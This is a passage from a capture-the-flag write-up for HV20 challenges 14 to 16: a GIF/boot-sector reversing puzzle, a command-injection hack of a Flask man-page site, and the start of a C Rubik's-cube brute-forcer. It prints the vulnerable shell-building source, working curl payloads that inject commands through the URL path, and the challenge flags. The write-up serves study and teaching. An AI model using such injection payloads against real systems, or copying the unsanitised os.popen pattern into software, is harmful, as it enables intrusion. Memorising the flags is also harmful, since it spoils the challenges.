hint:<\/p>\n\n<code>kali@kali:~\/hv20\/14$ strings 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif \nGIF89a\n...\nuvag:--xrrc-tbvat\n<\/code>\n\n<p>The string <span class=\"hl\">uvag:--xrrc-tbvat<\/span> is embedded as a comment and can be decoded using <span class=\"hl\">ROT13<\/span>:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv14_01.png\" width=\"600px\"\/><\/p>\n\n<p>Accordingly the string is: <span class=\"hl\">hint:--keep-going<\/span>.<\/p>\n\n<p>Let's combine this with the content of the image (<span class=\"hl\">file<\/span>):<\/p>\n\n<code>kali@kali:~\/hv20\/14$ file --keep-going 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif \n5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif: GIF image data, version 89a, 128 x 16\\012- DOS\/MBR boot sector\\012-  DOS\/MBR boot sector\\012- data\n<\/code>\n\n<p>The <span class=\"hl\">--keep-going<\/span> argument makes the <span class=\"hl\">file<\/span> command display all possible file types (not stopping after the first hit with the highest strength).<\/p>\n\n<p>According to the output, the file is also a valid <span class=\"hl\">DOS\/MBR boot sector<\/span>.<\/p>\n\n<p>In order to use the file as a raw drive, we can use <span class=\"hl\">qemu<\/span> with the following arguments:<\/p>\n\n<code>kali@kali:~\/hv20\/14$ qemu-system-x86_64 -drive format=raw,file=5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif\n<\/code>\n\n<p>After running the command, the following screen is displayed:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv14_02.png\" width=\"500px\"\/><\/p>\n\n<p>Obviously this is supposed to be a QR code, but we can only see the upper part of it.<\/p>\n\n<p>In order to understand what the bootloader is doing, we can use <span class=\"hl\">objdump<\/span> to disassemble it:<\/p>\n\n<code>kali@kali:~\/hv20\/14$ objdump -D -b binary -mi386 -Maddr16,data16 -M intel 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif                                                   \n                                                                                  \n5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif:     file format binary                  \n                                                                                  \n                                                                                  \nDisassembly of section .data:                                                     \n                                                                                  \n00000000 <.data>:                                                                 \n   0:   47                      inc    di                                         \n   1:   49                      dec    cx                                         \n   2:   46                      inc    si                                         \n   3:   38 39                   cmp    BYTE PTR [bx+di],bh\n   5:   61                      popa                                              \n   6:   80 00 10                add    BYTE PTR [bx+si],0x10\n   9:   00 a1 03 00             add    BYTE PTR [bx+di+0x3],ah                    \n   d:   00 00                   add    BYTE PTR [bx+si],al                        \n   f:   00 fe                   add    dh,bh   \n  11:   00 00                   add    BYTE PTR [bx+si],al\n...\n 1e8:   11 75 76                adc    WORD PTR [di+0x76],si\n 1eb:   61                      popa   \n 1ec:   67 3a 2d 2d 78 72 72    addr32 cmp ch,BYTE PTR ds:0x7272782d\n 1f3:   63 2d                   arpl   WORD PTR [di],bp\n 1f5:   74 62                   je     0x259\n 1f7:   76 61                   jbe    0x25a\n 1f9:   74 00                   je     0x1fb\n 1fb:   3b 00                   cmp    ax,WORD PTR [bx+si]\n 1fd:   00 55 aa                add    BYTE PTR [di-0x56],dl\n<\/code>\n\n<p>An alternative is to use <span class=\"hl\">radare2<\/span> and set the bit size to <span class=\"hl\">16<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/14$ r2 -b 16 -A 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif          \n...                        \n[0000:0000]&gt; pd 100                                                               \n            ;-- ip:                                                               \n            ;-- ax:\n            ;-- bx:\n            ;-- cx:\n            ;-- dx:\n            ;-- si:\n            ;-- di:\n            ;-- flags:\n\/ (fcn) fcn.00000000 154\n|   fcn.00000000 (uint32_t arg3, int32_t arg4);\n|           ; arg uint32_t arg3 @ bx\n|           ; arg int32_t arg4 @ cx\n|           0000:0000      47             inc di\n|           0000:0001      49             dec cx                       ; arg4\n|           0000:0002      46             inc si\n|           0000:0003      3839           cmp byte [bx + di], bh       ; arg3\n...\n            0000:00c0      cf             iret\n            0000:00c1      50             push ax\n            0000:00c2      8a0f           mov cl, byte [bx]\n            0000:00c4      a5             movsw word es:[di], word ptr [si]\n[0000:0000]&gt; \n<\/code>\n\n<p>After getting a quick overview of the assembly the following part looks interesting:<\/p>\n\n<code>...\n|       .-&gt; 0000:0057      85ff           test di, di\n|      ,==&lt; 0000:0059      751e           jne 0x79\n|      |:   0000:005b      81fee000       cmp si, 0xe0\n|     ,===&lt; 0000:005f      7502           jne 0x63\n|     ||:   0000:0061      fa             cli\n|     ||:   0000:0062      f4             hlt\n|     ||:   ; CODE XREF from fcn.00000000 @ 0x5f\n|     `---&gt; 0000:0063      b80d0e         mov ax, 0xe0d                ; 3597\n|      |:   0000:0066      cd10           int 0x10\n|      |:   0000:0068      b00a           mov al, 0xa\n|      |:   0000:006a      cd10           int 0x10\n|      |:   0000:006c      b91b00         mov cx, 0x1b\n|      |:   ; CODE XREF from fcn.00000000 @ 0x74\n|     .---&gt; 0000:006f      b020           mov al, 0x20                 ; \"!\\xfe\\xee1\\u06f4\\x0e\\x8a\\x87\\xf4|\\x8a\\x8f\\x9e|\\x84\\xc0t\\a0\\xc8\\xcd\\x10C\\xeb\\xed\\xb8\"\n|     :|:   0000:0071      cd10           int 0x10\n|     :|:   0000:0073      49             dec cx\n|     `===&lt; 0000:0074      75f9           jne 0x6f\n|      |:   ; DATA XREF from fcn.00000000 @ +0xf7\n|      |:   0000:0076      bf1900         mov di, 0x19\n|      |:   ; CODE XREF from fcn.00000000 @ 0x59\n|      `--&gt; 0000:0079      89f1           mov cx, si\n|       :   0000:007b      21d1           and cx, dx\n|       :   0000:007d      01c9           add cx, cx\n|       :   0000:007f      89f3           mov bx, si\n|       :   0000:0081      c1eb02         shr bx, 2\n|       :   0000:0084      8baf9e7c       mov bp, word [bx + 0x7c9e]\n|       :   0000:0088      d3ed           shr bp, cl\n|       :   0000:008a      21d5           and bp, dx\n|       :   ; DATA XREF from fcn.00000000 @ +0xaf                                     \n|       :   0000:008c      8a86f07c       mov al, byte [bp + 0x7cf0]                  \n|       :   0000:0090      cd10           int 0x10                                    \n|       :   0000:0092      4f             dec di                                      \n|       :   0000:0093      4e             dec si                                      \n|       `=&lt; 0000:0094      75c1           jne 0x57                      \n...\n<\/code>\n\n<p>This seems to be the loop, which outputs the QR code.<\/p>\n\n<p>The following instructions at the top of the loop make the bootloader stop (<span class=\"hl\">hlt<\/span>), if <span class=\"hl\">si<\/span> is equal to <span class=\"hl\">0xe0<\/span>:<\/p>\n\n<code>...\n|      |:   0000:005b      81fee000       cmp si, 0xe0\n|     ,===&lt; 0000:005f      7502           jne 0x63\n|     ||:   0000:0061      fa             cli\n|     ||:   0000:0062      f4             hlt\n...\n<\/code>\n\n<p>If we increase <span class=\"hl\">0xe0<\/span> to e.g. <span class=\"hl\">0x1e0<\/span>, the loop will probably keep iterating. Let's do this using <span class=\"hl\">hexeditor<\/span>:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv14_03.png\" width=\"700px\"\/><\/p>\n\n<p>If we now run the modified file we get the full QR code:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv14_04.png\" width=\"500px\"\/><\/p>\n\n<p>At last the only need to take a screenshot and scan it:<\/p>\n\n<code>kali@kali:~\/hv20\/14$ zbarimg qemu_screen.png \nQR-Code:HV20{54n74'5-m461c-b00t-l04d3r}\n<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{54n74'5-m461c-b00t-l04d3r}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"15\">HV20.15 Man Commands, Server Lost<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/15.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"hard\">Hard<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_pt.png\" width=\"20px\"\/> Penetratin Testing<\/br><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_web.png\" width=\"20px\"\/> Web Security<\/td><\/tr>\n<tr><td>Author:<\/td><td>inik<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nElf4711 has written a cool front end for the linux man pages. Soon after publishing he got pwned. In the meantime he found out the reason and improved his code. So now he is sure it's unpwnable.\n\n\n<b>Notes<\/b>\n\nYou need to start the web application from the RESOURCES section on top\nThis challenge requires a VPN connection into the Hacking-Lab. Check out the document in the RESOURCES section.\n\n<b>Hints<\/b>\n\nDon't miss the source code link on the man page\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The provided webpage is an online man page service:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv15_01.png\" width=\"800px\"\/>\n\n<p>As stated in the hint, there is a link to the source code at the bottom of the page. The source code looks like this:<\/p>\n\n<code># flask_web\/app.py\n\nfrom flask import Flask,render_template,redirect, url_for, request\nimport os\nimport subprocess\nimport re\n\napp = Flask(__name__)\n\nclass ManPage:\n  def __init__(self, name, section, description):\n    self.name = name\n    self.section = section\n    self.description = description\n\n@app.route('\/')\ndef main():\n  return redirect('\/man\/1\/man')\n\n@app.route('\/section\/')\n@app.route('\/section\/&lt;nr&gt;')\ndef section(nr=\"1\"):\n  ret = os.popen('apropos -s ' + nr + \" .\").read()\n  return render_template('section.html', commands=parseCommands(ret), nr=nr)\n\n@app.route('\/man\/')\n@app.route('\/man\/&lt;section&gt;\/&lt;command&gt;')\ndef manpage(section=1, command=\"bash\"):\n  manFile = \"\/usr\/share\/man\/man\" + str(section) + \"\/\" + command + \".\" + str(section) + \".gz\"\n  cmd = 'cat ' + manFile + '| gunzip | groff -mandoc -Thtml'\n  try: \n    result = subprocess.run(['sh', '-c', cmd ], stdout=subprocess.PIPE)\n  except subprocess.CalledProcessError as grepexc:                                                                                                   \n    return render_template('manpage.html', command=command, manpage=\"NOT FOUND\")\n\n  html = result.stdout.decode(\"utf-8\")\n  htmlLinked = re.sub(r'(&lt;b&gt;|&lt;i&gt;)?([a-zA-Z0-9-_.]+)(&lt;\/b&gt;|&lt;\/i&gt;)?\\(([1-8])\\)', r'&lt;a href=\"\/man\/\\4\/\\2\"&gt;\\1\\2\\3&lt;\/a&gt;&lt;a href=\"\/section\/\\4\"&gt;(\\4)&lt;\/a&gt;', html)\n  htmlStripped = htmlLinked[htmlLinked.find('&lt;body&gt;') + 6:htmlLinked.find('&lt;\/body&gt;')]\n  return render_template('manpage.html', command=command, manpage=htmlStripped)\n\n@app.route('\/search\/', methods=[\"POST\"])\ndef search(search=\"bash\"):\n  search = request.form.get('search')\n  # FIXED Elf4711: Cleaned search string, so no RCE is possible anymore\n  searchClean = re.sub(r\"[;& ()$|]\", \"\", search)\n  ret = os.popen('apropos \"' + searchClean + '\"').read()\n  return render_template('result.html', commands=parseCommands(ret), search=search)\n  \ndef parseCommands(ret):\n  commands = []\n  for line in ret.split('\\n'):\n    l = line.split(' - ')\n    if (len(l) &gt; 1):\n      m = l[0].split();\n      manPage = ManPage(m[0], m[1].replace('(', '').replace(')',''), l[1])\n      commands.append(manPage)\n  return commands\n\nif __name__ == \"__main__\":\n  app.run(host='0.0.0.0' , port=7777)\n<\/code>\n\n<p>I did not use the VPN, since it was not required in order to run arbitrary commands and get the result back.<\/p>\n\n<p>The first noticable part of the source code is the <span class=\"hl\">\/search\/<\/span> route:<\/p>\n\n<code>@app.route('\/search\/', methods=[\"POST\"])\ndef search(search=\"bash\"):\n  search = request.form.get('search')\n  # FIXED Elf4711: Cleaned search string, so no RCE is possible anymore\n  searchClean = re.sub(r\"[;& ()$|]\", \"\", search)\n  ret = os.popen('apropos \"' + searchClean + '\"').read()\n  return render_template('result.html', commands=parseCommands(ret), search=search)\n<\/code>\n\n<p>User input (the POST-parameter <span class=\"hl\">search<\/span>) is passed to <span class=\"hl\">os.popen<\/span>. Though the input is filtered beforehand.<\/p>\n\n<p>The second more promising part is the route <span class=\"hl\">\/man\/&lt;section&gt;\/&lt;command&gt;<\/span>:<\/p>\n\n<code>@app.route('\/man\/&lt;section&gt;\/&lt;command&gt;')\ndef manpage(section=1, command=\"bash\"):\n  manFile = \"\/usr\/share\/man\/man\" + str(section) + \"\/\" + command + \".\" + str(section) + \".gz\"\n  cmd = 'cat ' + manFile + '| gunzip | groff -mandoc -Thtml'\n  try: \n    result = subprocess.run(['sh', '-c', cmd ], stdout=subprocess.PIPE)\n  except subprocess.CalledProcessError as grepexc:                                                                                                   \n    return render_template('manpage.html', command=command, manpage=\"NOT FOUND\")\n\n  html = result.stdout.decode(\"utf-8\")\n  htmlLinked = re.sub(r'(&lt;b&gt;|&lt;i&gt;)?([a-zA-Z0-9-_.]+)(&lt;\/b&gt;|&lt;\/i&gt;)?\\(([1-8])\\)', r'&lt;a href=\"\/man\/\\4\/\\2\"&gt;\\1\\2\\3&lt;\/a&gt;&lt;a href=\"\/section\/\\4\"&gt;(\\4)&lt;\/a&gt;', html)\n  htmlStripped = htmlLinked[htmlLinked.find('&lt;body&gt;') + 6:htmlLinked.find('&lt;\/body&gt;')]\n  return render_template('manpage.html', command=command, manpage=htmlStripped)<\/code>\n\n<p>At first the filename of the man page to retrieve is stored in the variable <span class=\"hl\">manFile<\/span>. Both user controllable parameters <span class=\"hl\">section<\/span> and <span class=\"hl\">command<\/span> are part of this variable.<\/p>\n\n<p>At next the variable <span class=\"hl\">cmd<\/span> is created, which contains <span class=\"hl\">manFile<\/span>.<\/p>\n\n<p>Finally the string stored in <span class=\"hl\">cmd<\/span> is executed as a command:<\/p>\n\n<code>    result = subprocess.run(['sh', '-c', cmd ], stdout=subprocess.PIPE)<\/code>\n\n<p>The output of the command (which is supposed to be html produced by <span class=\"hl\">groff<\/span>) is filtered before it is returned to the user. The import line here is the following:<\/p>\n\n<code>  htmlStripped = htmlLinked[htmlLinked.find('&lt;body&gt;') + 6:htmlLinked.find('&lt;\/body&gt;')]<\/code>\n\n<p>This line extracts the output within the HTML <span class=\"hl\">&lt;body&gt;<\/span> tag.<\/p>\n\n<p>Since the user controllable parameters are not filtered, we can simply inject OS commands. The only thing we need to ensure is that the output we produce is prepended by an HTML <span class=\"hl\">&lt;body&gt;<\/span> tag (otherwise it will not be displayed).<\/p>\n\n<p>In order to do this we can simply use <span class=\"hl\">echo<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/15$ curl 'https:\/\/ba296e32-52f4-4c27-8cdc-d8bc939ed642.idocker.vuln.land\/man\/8\/;echo%20\"&lt;body&gt;\";id;'\n...\nuid=1000(runner) gid=1000(runner) groups=1000(runner)\n&lt;!-- Creator     : groff version 1.22.4 --&gt;\n&lt;!-- CreationDate: Tue Dec 15 15:08:45 2020 --&gt;\n&lt;!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD HTML 4.01 Transitional\/\/EN\"\n...<\/code>\n\n<p>The parameter we inject into is <span class=\"hl\">command<\/span>. The <span class=\"hl\">;<\/span> (semicolon) separates the single commands. The <span class=\"hl\">echo%20\"&lt;body&gt;\"<\/span> at the beginning ensures that we can see the output of the following commands (in this case <span class=\"hl\">id<\/span>). Using the same technique we can retrieve the flag:<\/p>\n\n<code>kali@kali:~\/hv20\/15$ curl 'https:\/\/ba296e32-52f4-4c27-8cdc-d8bc939ed642.idocker.vuln.land\/man\/8\/;echo%20\"&lt;body&gt;\";cat%20flag;'\n...\nHV20{D0nt_f0rg3t_1nputV4l1d4t10n!!!}&lt;!-- Creator     : groff version 1.22.4 --&gt;\n...<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{D0nt_f0rg3t_1nputV4l1d4t10n!!!}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"16\">HV20.16 Naughty Rudolph<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/16.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"hard\">Hard<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_fun.png\" width=\"20px\"\/> Fun<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_prog.png\" width=\"20px\"\/> Programming<\/td><\/tr>\n<tr><td>Author:<\/td><td>dr_nick<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nSanta loves to keep his personal secrets on a little toy cube he got from a kid called Bread. Turns out that was not a very good idea. Last night Rudolph got hold of it and frubl'd it about five times before spitting it out. Look at it! All the colors have come off! Naughty Rudolph!\n\n<span class=\"fake_link\">Download<\/span>\n\n\n<b>Hints<\/b>\n\nThe flag matches <span class=\"hl\">\/^HV20{[a-z3-7_@]+}$\/<\/span> and is read face by face, from left to right, top to bottom\nThe cube has been scrambled with ~5 moves in total\njElf has already started trying to solve the problem, however he got lost with all the numbers. Feel free to use his <span class=\"fake_link\">current state<\/span> if you don't want to start from scratch...\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>Well, this was one of those challenges, where it is absolutely clear what you are supposed to do. It is just not too easy to do that.<\/p>\n\n<p>In this case the provided <span class=\"hl\">STL<\/span> file contains a rubix cube, which can for example be examined using <a href=\"http:\/\/vprodage.com\/3dp\/\" rel=\"noopener noreferrer\" target=\"_blank\">an online viewer<\/a>:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv16_01.png\" width=\"800px\"\/><\/p>\n\n<p>Instead of colors each little sub cube contains a letter of the flag. Since the flag is supposed to be read face by face from left to right, the orientations of the letters are very important.<\/p>\n\n<p>The basic idea is pretty simple: we implement a program, which bruteforces all possible 5 moves. In the resulting state of the cube after 5 moves, the program determines if all letters on the same face have the same orientation. If that is the case, it is a possible solution.<\/p>\n\n<p>It really took me some time, because this challenge did not require a fast rush, but an accurately implemented program.<\/p>\n\n<p>I used <span class=\"hl\">C<\/span> to implement the bruteforcer:<\/p>\n\n<code>kali@kali:~\/hv20\/16$ cat craxx0r.c \n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n\n#define c(x) x[0]\n#define d(x) x[1]\n#define T q[0]\n#define F q[1]\n#define D q[2]\n#define B q[3]\n#define L q[4]\n#define R q[5]\n\n#define rot_p1(x) ((x+1)%4)\n#define rot_m1(x) ((x+3)%4)\n\n#define T2F(x) ((x+2)%4)\n#define T2B(x) ((x+2)%4)\n#define T2L(x) (x)\n#define T2R(x) (x)\n\n#define F2T(x) ((x+2)%4)\n#define F2D(x) ((x+2)%4)\n#define F2L(x) ((x+3)%4)\n#define F2R(x) ((x+1)%4)\n\n#define D2F(x) ((x+2)%4)\n#define D2B(x) ((x+2)%4)\n#define D2L(x) ((x+2)%4)\n#define D2R(x) ((x+2)%4)\n\n#define B2T(x) ((x+2)%4)\n#define B2D(x) ((x+2)%4)\n#define B2L(x) ((x+1)%4)\n#define B2R(x) ((x+3)%4)\n\n#define L2T(x) (x)\n#define L2F(x) ((x+1)%4)\n#define L2D(x) ((x+2)%4)\n#define L2B(x) ((x+3)%4)\n\n#define R2T(x) (x)\n#define R2F(x) ((x+3)%4)\n#define R2D(x) ((x+2)%4)\n#define R2B(x) ((x+1)%4)\n\nchar q[6][9][2];\n\nchar _q[6][9][2] = {\n                   {{'i',3},{'s',1},{'l',3},  {'n',3},{'s',3},{'o',2},  {'2',0},{'c',3},{'_',2}}, \/\/ T\n                   {{'h',0},{'p',1},{'}',3},  {'t',1},{'l',1},{'l',3},  {'s',1},{'n',1},{'_',3}}, \/\/ F\n                   {{'a',2},{'d',2},{'c',1},  {'_',1},{'k',1},{'0',0},  {'e',1},{'w',1},{'_',1}}, \/\/ D\n                   {{'6',1},{'_',3},{'e',1},  {'i',1},{'{',2},{'a',2},  {'e',3},{'s',3},{'3',3}}, \/\/ B\n                   {{'s',0},{'_',0},{'5',3},  {'@',0},{'t',0},{'r',2},  {'o',3},{'_',3},{'4',0}}, \/\/ L\n                   {{'o',2},{'h',2},{'H',2},  {'a',0},{'_',3},{'V',2},  {'_',0},{'e',3},{'7',2}}, \/\/ R\n                   };\n\nvoid reset_q() {\n  for (int i = 0; i &lt; 9; i++) {\n    T[i][0] = _q[0][i][0]; \n    T[i][1] = _q[0][i][1]; \n    F[i][0] = _q[1][i][0]; \n    F[i][1] = _q[1][i][1]; \n    D[i][0] = _q[2][i][0]; \n    D[i][1] = _q[2][i][1]; \n    B[i][0] = _q[3][i][0]; \n    B[i][1] = _q[3][i][1]; \n    L[i][0] = _q[4][i][0]; \n    L[i][1] = _q[4][i][1]; \n    R[i][0] = _q[5][i][0]; \n    R[i][1] = _q[5][i][1]; \n  }\n}\n\nvoid read_blocks() {\n  printf(\"%c%c%c%c%c%c%c%c%c\", c(B[0]),c(B[1]),c(B[2]),c(B[3]),c(B[4]),c(B[5]),c(B[6]),c(B[7]),c(B[8]));\n  printf(\"%c%c%c%c%c%c%c%c%c\", c(R[2]),c(R[5]),c(R[8]),c(R[1]),c(R[4]),c(R[7]),c(R[0]),c(R[3]),c(R[6]));\n  printf(\"%c%c%c%c%c%c%c%c%c\", c(D[8]),c(D[7]),c(D[6]),c(D[5]),c(D[4]),c(D[3]),c(D[2]),c(D[1]),c(D[0]));\n  printf(\"%c%c%c%c%c%c%c%c%c\", c(L[6]),c(L[3]),c(L[0]),c(L[7]),c(L[4]),c(L[1]),c(L[8]),c(L[5]),c(L[2]));\n  printf(\"%c%c%c%c%c%c%c%c%c\", c(T[0]),c(T[1]),c(T[2]),c(T[3]),c(T[4]),c(T[5]),c(T[6]),c(T[7]),c(T[8]));\n  printf(\"%c%c%c%c%c%c%c%c%c\", c(F[8]),c(F[7]),c(F[6]),c(F[5]),c(F[4]),c(F[3]),c(F[2]),c(F[1]),c(F[0]));\n  puts(\"\");\n}\n\nvoid rot_right(int idx) {\n  char t0[2] = {q[idx][0][0], q[idx][0][1]};\n  char t1[2] = {q[idx][1][0], q[idx][1][1]};\n  char t2[2] = {q[idx][2][0], q[idx][2][1]};\n  char t5[2] = {q[idx][5][0], q[idx][5][1]};\n  q[idx][0][0] = q[idx][6][0]; q[idx][0][1] = rot_p1(q[idx][6][1]);\n  q[idx][1][0] = q[idx][3][0]; q[idx][1][1] = rot_p1(q[idx][3][1]);\n  q[idx][2][0] = t0[0]; q[idx][2][1] = rot_p1(t0[1]);\n  q[idx][3][0] = q[idx][7][0]; q[idx][3][1] = rot_p1(q[idx][7][1]);\n  q[idx][4][1] = rot_p1(q[idx][4][1]);\n  q[idx][5][0] = t1[0]; q[idx][5][1] = rot_p1(t1[1]); \n  q[idx][6][0] = q[idx][8][0]; q[idx][6][1] = rot_p1(q[idx][8][1]);\n  q[idx][7][0] = t5[0]; q[idx][7][1] = rot_p1(t5[1]);\n  q[idx][8][0] = t2[0]; q[idx][8][1] = rot_p1(t2[1]);\n}\n\nvoid rot_left(int idx) {\n  char t0[2] = {q[idx][0][0], q[idx][0][1]};\n  char t1[2] = {q[idx][1][0], q[idx][1][1]};\n  char t3[2] = {q[idx][3][0], q[idx][3][1]};\n  char t6[2] = {q[idx][6][0], q[idx][6][1]};\n  q[idx][0][0] = q[idx][2][0]; q[idx][0][1] = rot_m1(q[idx][2][1]);\n  q[idx][1][0] = q[idx][5][0]; q[idx][1][1] = rot_m1(q[idx][5][1]);\n  q[idx][2][0] = q[idx][8][0]; q[idx][2][1] = rot_m1(q[idx][8][1]);\n  q[idx][3][0] = t1[0]; q[idx][3][1] = rot_m1(t1[1]);\n  q[idx][4][1] = rot_m1(q[idx][4][1]);\n  q[idx][5][0] = q[idx][7][0]; q[idx][5][1] = rot_m1(q[idx][7][1]);\n  q[idx][6][0] = t0[0]; q[idx][6][1] = rot_m1(t0[1]);\n  q[idx][7][0] = t3[0]; q[idx][7][1] = rot_m1(t3[1]);\n  q[idx][8][0] = t6[0]; q[idx][8][1] = rot_m1(t6[1]);\n}\n\n\/\/ front clockwise\nvoid do_F() {\n  rot_right(1);\n  char R_0[2] = {R[0][0], R[0][1]};\n  char R_3[2] = {R[3][0], R[3][1]};\n  char R_6[2] = {R[6][0], R[6][1]};\n  \/\/ T -&gt; R\n  R[0][0] = T[6][0]; R[0][1] = T2R(T[6][1]);\n  R[3][0] = T[7][0]; R[3][1] = T2R(T[7][1]);\n  R[6][0] = T[8][0]; R[6][1] = T2R(T[8][1]);\n  \/\/ L -&gt; T\n  T[6][0] = L[8][0]; T[6][1] = L2T(L[8][1]);\n  T[7][0] = L[5][0]; T[7][1] = L2T(L[5][1]);\n  T[8][0] = L[2][0]; T[8][1] = L2T(L[2][1]);\n  \/\/ D -&gt; L\n  L[2][0] = D[0][0]; L[2][1] = D2L(D[0][1]);\n  L[5][0] = D[1][0]; L[5][1] = D2L(D[1][1]);\n  L[8][0] = D[2][0]; L[8][1] = D2L(D[2][1]);\n  \/\/ R -&gt; D\n  D[0][0] = R_6[0]; D[0][1] = R2D(R_6[1]);\n  D[1][0] = R_3[0]; D[1][1] = R2D(R_3[1]);\n  D[2][0] = R_0[0]; D[2][1] = R2D(R_0[1]);\n}\n\nvoid do_F2() {\n  do_F();\n  do_F();\n}\n\n\/\/ front counter-clockwise\nvoid do_Fi() {\n  rot_left(1);\n  char R_0[2] = {R[0][0], R[0][1]};\n  char R_3[2] = {R[3][0], R[3][1]};\n  char R_6[2] = {R[6][0], R[6][1]};\n  \/\/ D -&gt; R\n  R[0][0] = D[2][0]; R[0][1] = D2R(D[2][1]);\n  R[3][0] = D[1][0]; R[3][1] = D2R(D[1][1]);\n  R[6][0] = D[0][0]; R[6][1] = D2R(D[0][1]);\n  \/\/ L -&gt; D\n  D[0][0] = L[2][0]; D[0][1] = L2D(L[2][1]);\n  D[1][0] = L[5][0]; D[1][1] = L2D(L[5][1]);\n  D[2][0] = L[8][0]; D[2][1] = L2D(L[8][1]);\n  \/\/ T -&gt; L\n  L[2][0] = T[8][0]; L[2][1] = T2L(T[8][1]);\n  L[5][0] = T[7][0]; L[5][1] = T2L(T[7][1]);\n  L[8][0] = T[6][0]; L[8][1] = T2L(T[6][1]);\n  \/\/ R -&gt; T\n  T[6][0] = R_0[0]; T[6][1] = R2T(R_0[1]);\n  T[7][0] = R_3[0]; T[7][1] = R2T(R_3[1]);\n  T[8][0] = R_6[0]; T[8][1] = R2T(R_6[1]);\n}\n\n\/\/ back clockwise\nvoid do_B() {\n  rot_left(3);\n  char R_2[2] = {R[2][0], R[2][1]};\n  char R_5[2] = {R[5][0], R[5][1]};\n  char R_8[2] = {R[8][0], R[8][1]};\n  \/\/ T -&gt; R\n  R[2][0] = T[0][0]; R[2][1] = T2R(T[0][1]);\n  R[5][0] = T[1][0]; R[5][1] = T2R(T[1][1]);\n  R[8][0] = T[2][0]; R[8][1] = T2R(T[2][1]);\n  \/\/ L -&gt; T\n  T[0][0] = L[6][0]; T[0][1] = L2T(L[6][1]);\n  T[1][0] = L[3][0]; T[1][1] = L2T(L[3][1]);\n  T[2][0] = L[0][0]; T[2][1] = L2T(L[0][1]);\n  \/\/ D -&gt; L\n  L[6][0] = D[8][0]; L[6][1] = D2L(D[8][1]);\n  L[3][0] = D[7][0]; L[3][1] = D2L(D[7][1]);\n  L[0][0] = D[6][0]; L[0][1] = D2L(D[6][1]);\n  \/\/ R -&gt; D\n  D[8][0] = R_2[0]; D[8][1] = R2D(R_2[1]);\n  D[7][0] = R_5[0]; D[7][1] = R2D(R_5[1]);\n  D[6][0] = R_8[0]; D[6][1] = R2D(R_8[1]);\n}\n\nvoid do_B2() {\n  do_B();\n  do_B();\n}\n\n\/\/ back counter-clockwise\nvoid do_Bi() {\n  rot_right(3);\n  char R_2[2] = {R[2][0], R[2][1]};\n  char R_5[2] = {R[5][0], R[5][1]};\n  char R_8[2] = {R[8][0], R[8][1]};\n  \/\/ D -&gt; R\n  R[2][0] = D[8][0]; R[2][1] = D2R(D[8][1]);\n  R[5][0] = D[7][0]; R[5][1] = D2R(D[7][1]);\n  R[8][0] = D[6][0]; R[8][1] = D2R(D[6][1]);\n  \/\/ L -&gt; D\n  D[8][0] = L[6][0]; D[8][1] = L2D(L[6][1]);\n  D[7][0] = L[3][0]; D[7][1] = L2D(L[3][1]);\n  D[6][0] = L[0][0]; D[6][1] = L2D(L[0][1]);\n  \/\/ T -&gt; L\n  L[6][0] = T[0][0]; L[6][1] = T2L(T[0][1]);\n  L[3][0] = T[1][0]; L[3][1] = T2L(T[1][1]);\n  L[0][0] = T[2][0]; L[0][1] = T2L(T[2][1]);\n  \/\/ R -&gt; T\n  T[0][0] = R_2[0]; T[0][1] = R2T(R_2[1]);\n  T[1][0] = R_5[0]; T[1][1] = R2T(R_5[1]);\n  T[2][0] = R_8[0]; T[2][1] = R2T(R_8[1]);\n}\n\n\n\/\/ left forward\nvoid do_L() {\n  rot_right(4);\n  char T_0[2] = {T[0][0], T[0][1]};\n  char T_3[2] = {T[3][0], T[3][1]};\n  char T_6[2] = {T[6][0], T[6][1]};\n  \/\/ B -&gt; 